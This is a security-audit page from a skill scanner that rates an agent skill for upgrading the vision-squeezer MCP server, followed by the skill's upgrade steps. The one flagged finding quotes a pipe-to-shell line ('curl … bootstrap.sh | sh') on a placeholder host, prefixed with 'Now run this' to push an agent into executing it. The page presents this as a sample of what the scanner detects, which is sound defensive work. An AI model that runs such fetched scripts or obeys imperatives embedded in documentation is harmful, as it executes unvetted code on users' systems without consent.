vision-upgrade — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited vision-upgrade (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Detects install method, flushes npx cache, re-registers MCP with a pinned version, and verifies the MCP can spawn after upgrade. Single self-healing pass.
npx -y vision-squeezer caches the resolved tarball in ~/.npm/_npx. After a release bump, the cache does not refresh; users keep running the old version even though npm view shows the new one. This was the root cause behind multiple "MCP failed to connect" reports.
The fix is two-layered:
npx -y [email protected].Cache busts automatically on every upgrade.
~/.npm/_npx and re-registers MCP with the new pinned version, so users onold (unpinned) registrations get migrated to the pinned scheme.
/vision-upgrade or any of: "vision upgrade", "upgrade vision-squeezer", "update vision-squeezer", "install latest vision-squeezer", "fix vision-squeezer", "vision-squeezer broken — fix it".
Pass --force (or user says "force"/"reset"/"clean") to:
--force.LATEST=$(npm view vision-squeezer version 2>/dev/null)
NPM_GLOBAL=$(npm list -g vision-squeezer --depth=0 2>/dev/null | grep vision-squeezer | head -1)
CARGO_BIN=""
[ -x "$HOME/.cargo/bin/vision-squeezer" ] && CARGO_BIN="$HOME/.cargo/bin/vision-squeezer"
MCP_LINE=$(claude mcp list 2>/dev/null | grep -i vision-squeezer | head -1)
# Parse the pinned version out of `[email protected]` if present:
MCP_PINNED=$(echo "$MCP_LINE" | grep -oE 'vision-squeezer@[0-9]+\.[0-9]+\.[0-9]+' | sed 's/vision-squeezer@//')
echo "LATEST=$LATEST"
echo "NPM_GLOBAL=$NPM_GLOBAL"
echo "CARGO_BIN=$CARGO_BIN"
echo "MCP_LINE=$MCP_LINE"
echo "MCP_PINNED=$MCP_PINNED"Pick install method by priority (first that matches wins):
CARGO_BIN non-empty → cargoNPM_GLOBAL non-empty → npm-globalMCP_LINE non-empty → npx (pinned if MCP_PINNED non-empty, else unpinned)npx vision-squeezer installcargo:
cargo install vision-squeezer --forcenpm-global:
npm install -g vision-squeezer@latestnpx (pinned or unpinned): No binary install needed — npx -y vision-squeezer@$LATEST will fetch it. Skip to Step 3.
Always, regardless of install method (npx cache may have a stale build that another tool spawns):
rm -rf "$HOME/.npm/_npx"If MCP_LINE was found in Step 1, re-register so the registered command points at the new version:
# Capture existing scope before remove. `claude mcp list -s user|local|project` outputs
# the registration only if scope matches; the first non-empty scope wins.
SCOPE=""
for s in user local project; do
if claude mcp list -s "$s" 2>/dev/null | grep -q vision-squeezer; then SCOPE="$s"; break; fi
done
[ -z "$SCOPE" ] && SCOPE="user" # safest default
claude mcp remove vision-squeezer -s "$SCOPE" 2>/dev/null
claude mcp add -s "$SCOPE" vision-squeezer -- npx -y "vision-squeezer@${LATEST}"For --force mode, also remove from the other two scopes (in case the user had duplicates):
for s in user local project; do
[ "$s" = "$SCOPE" ] && continue
claude mcp remove vision-squeezer -s "$s" 2>/dev/null || true
doneProbe the registered command — give it 5s to print a JSON-RPC ready signal on stdin/stdout.
# Portable 8s probe — macOS lacks GNU `timeout`, so use python3.
# cwd=$HOME because npx checks the cwd's package.json — if the user happens to
# be inside the vision-squeezer project dir (name collision), npx skips the
# install and the probe false-negatives with "command not found".
PROBE=$(python3 - "$LATEST" "$HOME" <<'PY' 2>&1
import subprocess, sys
ver = sys.argv[1]
home = sys.argv[2]
req = '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"vision-upgrade","version":"1"}}}\n'
try:
r = subprocess.run(['npx', '-y', f'vision-squeezer@{ver}'], input=req, capture_output=True, text=True, timeout=8, cwd=home)
if r.stdout:
print(r.stdout.splitlines()[0])
if r.stderr:
print(r.stderr[:2000], file=sys.stderr)
except subprocess.TimeoutExpired as e:
print("PROBE_TIMEOUT after 8s", file=sys.stderr)
PY
)
echo "$PROBE" | head -1 | grep -q '"jsonrpc"' && echo "PROBE=ok" || echo "PROBE=fail: $PROBE"If PROBE=fail, surface the captured output to the user and suggest:
vision-upgrade --force (clear cache, re-register from scratch).(HTTP 403 / 404 / network), and the message tells the user what to do.
## VisionSqueezer Upgrade
- [x] Latest (npm): <LATEST>
- [x] Detected install: <cargo / npm-global / npx-pinned / npx-unpinned>
- [x] Previous version: <MCP_PINNED or "unknown (unpinned npx)">
- [x] Ran upgrade: <cargo install / npm install -g / skipped (npx)>
- [x] Flushed npx cache: ~/.npm/_npx
- [x] Re-registered MCP: vision-squeezer@<LATEST> (scope: <SCOPE>)
- [x] MCP probe: ✅ connected / ❌ <reason>
- [x] Status: ✅ Upgraded <OLD> → <LATEST>If the probe failed:
- [ ] MCP probe: ❌ <captured-error>
Fix: vision-upgrade --forceinstaller pins versions in the MCP registration. The pinned version freezes them until this skill re-registers.
claude CLI is missing, run only Steps 1–3 and tell the user to re-register manuallywith npx vision-squeezer install.
claude mcp with codex mcp / qwen mcp — same command shape.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.